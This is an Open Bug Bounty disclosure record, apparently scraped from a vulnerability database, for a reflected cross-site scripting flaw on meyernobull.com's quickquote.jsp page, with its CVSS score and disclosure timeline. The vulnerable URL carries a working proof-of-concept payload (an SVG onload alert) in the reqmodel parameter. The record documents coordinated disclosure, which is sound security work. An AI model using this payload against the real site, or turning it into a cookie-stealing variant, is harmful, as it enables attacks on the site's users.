Lucene search

K
openbugbountyNinjaMouseOBB:450015
HistoryDec 07, 2017 - 7:24 p.m.

meyernobull.com XSS vulnerability

2017-12-0719:24:00
NinjaMouse
www.openbugbounty.org
9
Open Bug Bounty ID: OBB-450015
Description Value
Affected Website: meyernobull.com
Vulnerable Application: Custom Code
Vulnerability Type: XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score: 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide: OWASP XSS Prevention Cheat Sheet
Vulnerable URL:
http://www.meyernobull.com/quickquote.jsp?reqmodel=%22%3E%3Csvg/onload=alert(/OPENBUGBOUNTY/)%3E=41&ty;=Used&bstyle;=ŋ=&vid;=125407&year;=2013&mkmd;=Chevrolet+Silverado+1500+LT&city;=Seward&state;=NE
Coordinated Disclosure Timeline
Description Value
Vulnerability Reported: 7 December, 2017 19:24 GMT
Vulnerability Verified: 7 December, 2017 19:26 GMT
Website Operator Notified: 7 December, 2017 19:26 GMT
Vulnerability Published: 7 December, 2017 19:26 GMT[without any technical details]
Public Disclosure: 7 March, 2018 19:24 GMT